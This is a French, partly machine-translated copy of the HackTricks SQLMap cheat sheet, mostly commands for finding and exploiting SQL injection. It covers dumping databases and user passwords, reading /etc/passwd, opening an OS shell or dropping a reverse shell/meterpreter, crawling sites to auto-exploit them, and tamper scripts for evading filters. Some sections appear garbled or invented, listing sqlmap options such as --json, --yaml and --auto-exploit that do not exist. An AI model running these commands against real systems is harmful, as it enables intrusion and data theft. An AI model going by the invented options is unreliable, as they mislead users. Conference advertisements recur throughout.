hacktricks/pentesting-web/sql-injection/sqlmap/README.md
2023-06-03 13:10:46 +00:00

27 KiB

SQLMap - Fiche de triche

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

DragonJAR Security Conference est un événement international de cybersécurité avec plus d'une décennie d'existence qui se tiendra les 7 et 8 septembre 2023 à Bogotá, en Colombie. C'est un événement de contenu technique de haut niveau où les dernières recherches en espagnol sont présentées, attirant des hackers et des chercheurs du monde entier.
Inscrivez-vous dès maintenant sur le lien suivant et ne manquez pas cette grande conférence !:

{% embed url="https://www.dragonjarcon.org/" %}

Arguments de base pour SQLmap

Générique

-u "<URL>" 
-p "<PARAM TO TEST>" 
--user-agent=SQLMAP 
--random-agent 
--threads=10 
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>" 
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=http://127.0.0.1:8080
--union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char

Récupérer des informations

Interne

--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB
--privileges #Get privileges

Données de la base de données

--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column

Emplacement de l'injection

À partir de la capture Burp/ZAP

Capturez la requête et créez un fichier req.txt.

sqlmap -r req.txt --current-user

Injection de requête GET


Basic Usage

Utilisation de base

python sqlmap.py -u "http://target.com/page.php?id=1" --dbs

Injecting into GET parameters

Injection dans les paramètres GET

The most common injection point is the URL query string. SQLMap can automatically detect and exploit this injection point.

Le point d'injection le plus courant est la chaîne de requête de l'URL. SQLMap peut détecter et exploiter automatiquement ce point d'injection.

python sqlmap.py -u "http://target.com/page.php?id=1" --dbs

Injecting into cookies

Injection dans les cookies

SQLMap can also inject into cookies. This can be done using the --cookie option.

SQLMap peut également injecter dans les cookies. Cela peut être fait en utilisant l'option --cookie.

python sqlmap.py -u "http://target.com/page.php" --cookie="PHPSESSID=1234abcd" --dbs

Injecting into headers

Injection dans les en-têtes

SQLMap can also inject into headers. This can be done using the --headers option.

SQLMap peut également injecter dans les en-têtes. Cela peut être fait en utilisant l'option --headers.

python sqlmap.py -u "http://target.com/page.php" --headers="User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" --dbs

Injecting into multiple parameters

Injection dans plusieurs paramètres

SQLMap can inject into multiple parameters at once. This can be done using the --params option.

SQLMap peut injecter dans plusieurs paramètres à la fois. Cela peut être fait en utilisant l'option --params.

python sqlmap.py -u "http://target.com/page.php?id=1&name=admin" --params="id,name" --dbs

Injecting into POST requests

Injection dans les requêtes POST

SQLMap can also inject into POST requests. This can be done using the --data option.

SQLMap peut également injecter dans les requêtes POST. Cela peut être fait en utilisant l'option --data.

python sqlmap.py -u "http://target.com/page.php" --data="id=1&name=admin" --dbs

Injecting into JSON data

Injection dans les données JSON

SQLMap can also inject into JSON data. This can be done using the --json option.

SQLMap peut également injecter dans les données JSON. Cela peut être fait en utilisant l'option --json.

python sqlmap.py -u "http://target.com/page.php" --json='{"id":1,"name":"admin"}' --dbs

Injecting into XML data

Injection dans les données XML

SQLMap can also inject into XML data. This can be done using the --xml option.

SQLMap peut également injecter dans les données XML. Cela peut être fait en utilisant l'option --xml.

python sqlmap.py -u "http://target.com/page.php" --xml='<data><id>1</id><name>admin</name></data>' --dbs

Injecting into YAML data

Injection dans les données YAML

SQLMap can also inject into YAML data. This can be done using the --yaml option.

SQLMap peut également injecter dans les données YAML. Cela peut être fait en utilisant l'option --yaml.

python sqlmap.py -u "http://target.com/page.php" --yaml='{"id":1,"name":"admin"}' --dbs

Injecting into multipart/form-data

Injection dans multipart/form-data

SQLMap can also inject into multipart/form-data. This can be done using the --file option.

SQLMap peut également injecter dans multipart/form-data. Cela peut être fait en utilisant l'option --file.

python sqlmap.py -u "http://target.com/page.php" --file="file=@/path/to/file" --dbs
sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id

Injection de requête POST


Basic POST request injection

Injection de requête POST basique


The basic usage of sqlmap with POST request is the following:

L'utilisation basique de sqlmap avec une requête POST est la suivante :

sqlmap -u "http://target.com/page.php" --data "param1=value1&param2=value2" --method POST

POST request with a JSON payload

Requête POST avec une charge utile JSON


If the POST request has a JSON payload, you can use the --data option with the payload in a single quote:

Si la requête POST a une charge utile JSON, vous pouvez utiliser l'option --data avec la charge utile dans une seule citation :

sqlmap -u "http://target.com/page.php" --data '{"param1":"value1","param2":"value2"}' --method POST

POST request with a file payload

Requête POST avec une charge utile de fichier


If the POST request has a file payload, you can use the --data option with the payload in a @filename format:

Si la requête POST a une charge utile de fichier, vous pouvez utiliser l'option --data avec la charge utile dans un format @nomdufichier :

sqlmap -u "http://target.com/page.php" --data @payload.txt --method POST

POST request with a custom header

Requête POST avec un en-tête personnalisé


If the POST request has a custom header, you can use the --headers option with the header in a single quote:

Si la requête POST a un en-tête personnalisé, vous pouvez utiliser l'option --headers avec l'en-tête dans une seule citation :

sqlmap -u "http://target.com/page.php" --data "param1=value1&param2=value2" --headers 'X-Custom-Header: value' --method POST

POST request with a cookie

Requête POST avec un cookie


If the POST request has a cookie, you can use the --cookie option with the cookie value:

Si la requête POST a un cookie, vous pouvez utiliser l'option --cookie avec la valeur du cookie :

sqlmap -u "http://target.com/page.php" --data "param1=value1&param2=value2" --cookie "cookie=value" --method POST

POST request with a referer

Requête POST avec un référent


If the POST request has a referer, you can use the --referer option with the referer value:

Si la requête POST a un référent, vous pouvez utiliser l'option --referer avec la valeur du référent :

sqlmap -u "http://target.com/page.php" --data "param1=value1&param2=value2" --referer "http://referer.com" --method POST

POST request with a user-agent

Requête POST avec un agent utilisateur


If the POST request has a user-agent, you can use the --user-agent option with the user-agent value:

Si la requête POST a un agent utilisateur, vous pouvez utiliser l'option --user-agent avec la valeur de l'agent utilisateur :

sqlmap -u "http://target.com/page.php" --data "param1=value1&param2=value2" --user-agent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36" --method POST
sqlmap -u "http://example.com" --data "username=*&password=*"

Injections dans les en-têtes et autres méthodes HTTP

Headers

En-têtes

The --headers option allows you to specify custom headers to be sent in the request. This can be useful for testing injections in headers such as User-Agent, Referer, Cookie, etc.

L'option --headers vous permet de spécifier des en-têtes personnalisés à envoyer dans la requête. Cela peut être utile pour tester des injections dans les en-têtes tels que User-Agent, Referer, Cookie, etc.

For example:

Par exemple:

sqlmap -u "http://example.com" --headers="User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3"

Other HTTP Methods

Autres méthodes HTTP

SQL injection can also occur in other HTTP methods besides GET and POST, such as PUT, DELETE, OPTIONS, etc. To test for injections in these methods, use the --method option.

L'injection SQL peut également se produire dans d'autres méthodes HTTP que GET et POST, telles que PUT, DELETE, OPTIONS, etc. Pour tester les injections dans ces méthodes, utilisez l'option --method.

For example:

Par exemple:

sqlmap -u "http://example.com" --method=PUT --data="id=1&name=test"
#Inside cookie
sqlmap  -u "http://example.com" --cookie "mycookies=*"

#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

#The injection is located at the '*'

Indiquer la chaîne lorsque l'injection est réussie

--string="string_showed_when_TRUE" 

Eval

Sqlmap permet l'utilisation de -e ou --eval pour traiter chaque charge utile avant de l'envoyer avec une ligne de code python. Cela rend très facile et rapide le traitement personnalisé de la charge utile avant de l'envoyer. Dans l'exemple suivant, la session de cookie flask est signée par flask avec le secret connu avant de l'envoyer :

sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump

Shell

Coquille

#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn

Lire un fichier

La commande --file-read permet de lire le contenu d'un fichier sur le serveur distant. Pour utiliser cette commande, il faut spécifier le chemin absolu du fichier à lire en utilisant l'option -r ou --rootdir. Par exemple:

sqlmap -r /chemin/absolu/du/fichier --file-read="/chemin/du/fichier/a/lire"

Cette commande peut être utilisée pour lire des fichiers contenant des informations sensibles, telles que des identifiants de connexion à la base de données ou des clés d'API.

--file-read=/etc/passwd

Parcourir un site web avec SQLmap et auto-exploiter

SQLmap est un outil puissant pour l'exploitation de vulnérabilités de type injection SQL. Il peut être utilisé pour parcourir un site web à la recherche de vulnérabilités et les exploiter automatiquement. Voici comment faire :

  1. Commencez par lancer une analyse de base du site web avec la commande suivante :

    sqlmap -u <URL> --crawl=1
    

    Cette commande va parcourir le site web et collecter des informations sur les paramètres de l'URL et les formulaires.

  2. Une fois que l'analyse de base est terminée, vous pouvez lancer une analyse plus approfondie avec la commande suivante :

    sqlmap -u <URL> --crawl=1 --level=5 --risk=3 --batch --auto-exploit
    

    Cette commande va parcourir le site web avec un niveau de profondeur de 5 et un niveau de risque de 3. Elle va également exécuter automatiquement les exploits pour les vulnérabilités trouvées.

  3. Attendez que l'analyse soit terminée. SQLmap affichera les vulnérabilités trouvées et les exploits exécutés avec succès.

  4. Vous pouvez maintenant utiliser les informations collectées pour exploiter les vulnérabilités et accéder aux données sensibles du site web.

N'oubliez pas que l'utilisation de SQLmap pour exploiter des vulnérabilités sans autorisation est illégale et peut entraîner des poursuites judiciaires. Utilisez cet outil uniquement à des fins éthiques et légales.

sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms

Injection de second ordre

python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

Lisez cet article sur comment effectuer des injections de second ordre simples et complexes avec sqlmap.

DragonJAR Security Conference est un événement international de cybersécurité qui a plus d'une décennie et qui se tiendra les 7 et 8 septembre 2023 à Bogotá, en Colombie. C'est un événement de contenu technique élevé où les dernières recherches en espagnol sont présentées, attirant des hackers et des chercheurs du monde entier.
Inscrivez-vous dès maintenant sur le lien suivant et ne manquez pas cette grande conférence !:

{% embed url="https://www.dragonjarcon.org/" %}

Personnalisation de l'injection

Définir un suffixe

python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "

Préfixe

python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "

Aide pour trouver une injection booléenne

# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch

Altération

Rappelez-vous que vous pouvez créer votre propre altération en python et c'est très simple. Vous pouvez trouver un exemple d'altération dans la page Injection de Second Ordre ici.

--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
Tamper Description
apostrophemask.py Remplace le caractère apostrophe par son homologue UTF-8 pleine largeur
apostrophenullencode.py Remplace le caractère apostrophe par son homologue double unicode illégal
appendnullbyte.py Ajoute un octet NULL encodé à la fin de la charge utile
base64encode.py Encode en base64 tous les caractères d'une charge utile donnée
between.py Remplace l'opérateur supérieur à ('>') par 'NOT BETWEEN 0 AND #'
bluecoat.py Remplace l'espace après l'instruction SQL par un caractère blanc valide aléatoire. Ensuite, remplace le caractère = par l'opérateur LIKE
chardoubleencode.py Encode en double URL tous les caractères d'une charge utile donnée (sans traiter ceux déjà encodés)
commalesslimit.py Remplace les occurrences de 'LIMIT M, N' par 'LIMIT N OFFSET M'
commalessmid.py Remplace les occurrences de 'MID(A, B, C)' par 'MID(A FROM B FOR C)'
concat2concatws.py Remplace les occurrences de 'CONCAT(A, B)' par 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'
charencode.py Encode en URL tous les caractères d'une charge utile donnée (sans traiter ceux déjà encodés)
charunicodeencode.py Encode en Unicode-URL les caractères non encodés d'une charge utile donnée (sans traiter ceux déjà encodés). "%u0022"
charunicodeescape.py Encode en Unicode-URL les caractères non encodés d'une charge utile donnée (sans traiter ceux déjà encodés). "\u0022"
equaltolike.py Remplace toutes les occurrences de l'opérateur égal ('=') par l'opérateur 'LIKE'
escapequotes.py Échappe les guillemets (' et ")
greatest.py Remplace l'opérateur supérieur à ('>') par son homologue GREATEST
halfversionedmorekeywords.py Ajoute un commentaire MySQL versionné avant chaque mot-clé
ifnull2ifisnull.py Remplace les occurrences de 'IFNULL(A, B)' par 'IF(ISNULL(A), B, A)'
modsecurityversioned.py Encadre la requête complète avec un commentaire versionné
modsecurityzeroversioned.py Encadre la requête complète avec un commentaire à version zéro
multiplespaces.py Ajoute plusieurs espaces autour des mots-clés SQL
nonrecursivereplacement.py Remplace les mots-clés SQL prédéfinis par des représentations adaptées au remplacement (par exemple .replace("SELECT", "")) filtres
percentage.py Ajoute un signe de pourcentage ('%') devant chaque caractère
overlongutf8.py Convertit tous les caractères d'une charge utile donnée (sans traiter ceux déjà encodés)
randomcase.py Remplace chaque caractère de mot-clé par une valeur de cas aléatoire
randomcomments.py Ajoute des commentaires aléatoires aux mots-clés SQL
securesphere.py Ajoute une chaîne spécialement conçue
sp_password.py Ajoute 'sp_password' à la fin de la charge utile pour une obfuscation automatique des journaux DBMS
space2comment.py Remplace l'espace (' ') par des commentaires
space2dash.py Remplace l'espace (' ') par un commentaire de tiret ('--') suivi d'une chaîne aléatoire et d'une nouvelle ligne ('\n')
space2hash.py Remplace l'espace (' ') par un caractère dièse ('#') suivi d'une chaîne aléatoire et d'une nouvelle ligne ('\n')
space2morehash.py Remplace l'espace (' ') par un caractère dièse ('#') suivi d'une chaîne aléatoire et d'une nouvelle ligne ('\n')
space2mssqlblank.py Remplace l'espace (' ') par un caractère blanc aléatoire issu d'un ensemble valide de caractères alternatifs
space2mssqlhash.py Remplace l'espace (' ') par un caractère dièse ('#') suivi d'une nouvelle ligne ('\n')
space2mysqlblank.py Remplace l'espace (' ') par un caractère blanc aléatoire issu d'un ensemble valide de caractères alternatifs
space2mysqldash.py Remplace l'espace (' ') par un commentaire de tiret ('--') suivi d'une nouvelle ligne ('\n')
space2plus.py Remplace l'espace (' ') par un signe plus ('+')
space2randomblank.py Remplace l'espace (' ') par un caractère blanc aléatoire issu d'un ensemble valide de caractères alternatifs
symboliclogical.py Remplace les opérateurs logiques AND et OR par leurs homologues symboliques (&& et
unionalltounion.py Remplace UNION ALL SELECT par UNION SELECT
unmagicquotes.py Remplace le caractère de citation (') par une combinaison multioctet %bf%27 avec un commentaire générique à la fin (pour que cela fonctionne)
uppercase.py Remplace chaque caractère de mot-clé par une valeur en majuscule 'INSERT'
varnish.py Ajoute un en-tête HTTP 'X-originating-IP'
versionedkeywords.py Encadre chaque mot-clé non fonctionnel avec un commentaire MySQL versionné
versionedmorekeywords.py Encadre chaque mot-clé avec un commentaire MySQL versionné
xforwardedfor.py Ajoute un faux en-tête HTTP 'X-Forwarded-For'

DragonJAR Security Conference est un événement international de cybersécurité qui se tient depuis plus d'une décennie et aura lieu les 7 et 8 septembre 2023 à Bogotá, en Colombie. C'est un événement de contenu technique élevé où les dernières recherches en espagnol sont présentées, attirant des hackers et des chercheurs du monde entier.
Inscrivez-vous dès maintenant sur le lien suivant et ne manquez pas cette grande conférence ! :

{% embed url="https://www.dragonjarcon.org/" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥